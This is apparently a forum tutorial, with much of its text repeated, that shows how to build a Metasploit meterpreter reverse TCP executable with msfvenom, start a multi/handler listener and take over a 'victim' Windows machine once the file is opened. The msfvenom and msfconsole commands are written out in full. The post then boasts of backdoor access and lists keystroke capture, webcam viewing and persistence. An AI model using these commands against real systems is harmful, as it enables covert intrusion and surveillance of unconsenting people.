Hello friends, I am hoping this guide can help simplify the process and help people understand the use of a reverse TCP shell to gain remote access to a computer using Metasploit. Once you have a grasp on how it works you can get into more advanced techniques.
>> Before we begin <<
NOTE: This guide is in the perspective of using two machines on the same network. However if you understand this process, there is not much difference between doing this to a computer on a different network.
I will be using Kali Linux, and the victim's machine will be a Windows 10 virtual machine.
STEP 1 >> Generate the payload using msfvenom <<
NOTE: I will not be going through how to make your payload fully undetectable as that is not the aim of my tutorial.
1i. To create out payload, we need our computers internal IP address, this can be obtained with the ifconfig command on a terminal. If the victim computer was on another network, you would use your public IP. [https://www.whatismyip.com]
My internal IP is 192.168.0.4.
1ii. Open a terminal and create your payload:
Spoiler (Click to View)
Your payload should now be on your desktop.
STEP 2 >> Set up our listener <<
2i. Now we open a terminal and start our Metasploit Framework:
2ii. Select our exploit:
2iii. Select our payload:
2iv. Select LHOST/LPORT:
Spoiler (Click to View)
2v. Now we start our payload handler:
Spoiler (Click to View)
STEP 3 >> Wait for access <<
3i. Now we wait for our victim to open our executable:
*Victim's machine*
Spoiler (Click to View)
3ii. Once the victim has run the executable, you will see a meterpreter session open on your terminal.
3iii. To interact with the session we use the command:
Spoiler (Click to View)
You can do many things such as spawn a command shell:
![[Image: suQIToE.png]](https://i.imgur.com/suQIToE.png)
You can do things such as:
Thanks for reading, hopefully some people learn something from this tutorial! 🤝
>> Before we begin <<
NOTE: This guide is in the perspective of using two machines on the same network. However if you understand this process, there is not much difference between doing this to a computer on a different network.
I will be using Kali Linux, and the victim's machine will be a Windows 10 virtual machine.
What is a Reverse TCP Shell?
A shell is a piece of code which can be used to give its user command execution on another device.
A Reverse Shell is a type of shell which is accessed through a listening port on the user's machine after is has been executed on another.
A shell is a piece of code which can be used to give its user command execution on another device.
A Reverse Shell is a type of shell which is accessed through a listening port on the user's machine after is has been executed on another.
STEP 1 >> Generate the payload using msfvenom <<
NOTE: I will not be going through how to make your payload fully undetectable as that is not the aim of my tutorial.
1i. To create out payload, we need our computers internal IP address, this can be obtained with the ifconfig command on a terminal. If the victim computer was on another network, you would use your public IP. [https://www.whatismyip.com]
My internal IP is 192.168.0.4.
1ii. Open a terminal and create your payload:
Code
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.4 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o /root/Desktop/payload.exeYour payload should now be on your desktop.
STEP 2 >> Set up our listener <<
2i. Now we open a terminal and start our Metasploit Framework:
Code
msfconsole2ii. Select our exploit:
Code
use exploit/multi/handler2iii. Select our payload:
Code
set PAYLOAD windows/meterpreter/reverse_tcp2iv. Select LHOST/LPORT:
Code
set LHOST 192.168.0.4
set LPORT 4444 //Default2v. Now we start our payload handler:
Code
exploit -j -zSTEP 3 >> Wait for access <<
3i. Now we wait for our victim to open our executable:
*Victim's machine*
Spoiler (Click to View)
3ii. Once the victim has run the executable, you will see a meterpreter session open on your terminal.
3iii. To interact with the session we use the command:
Code
sessions -i 1You now have backdoor access to that computer. 🎉
You can do many things such as spawn a command shell:
![[Image: suQIToE.png]](https://i.imgur.com/suQIToE.png)
![[Image: eg0VGBs.png]](https://i.imgur.com/eg0VGBs.png)
You can do things such as:
- Capture Keystrokes
- Screenshot
- View webcam
- Make your backdoor persistent
- Anything CMD can do
Thanks for reading, hopefully some people learn something from this tutorial! 🤝


![[Image: f4XBE2B.png]](https://i.imgur.com/f4XBE2B.png)
![[Image: 6dxfHc8.png]](https://i.imgur.com/6dxfHc8.png)

![[Image: 2YB0X4r.gif]](https://i.imgur.com/2YB0X4r.gif)
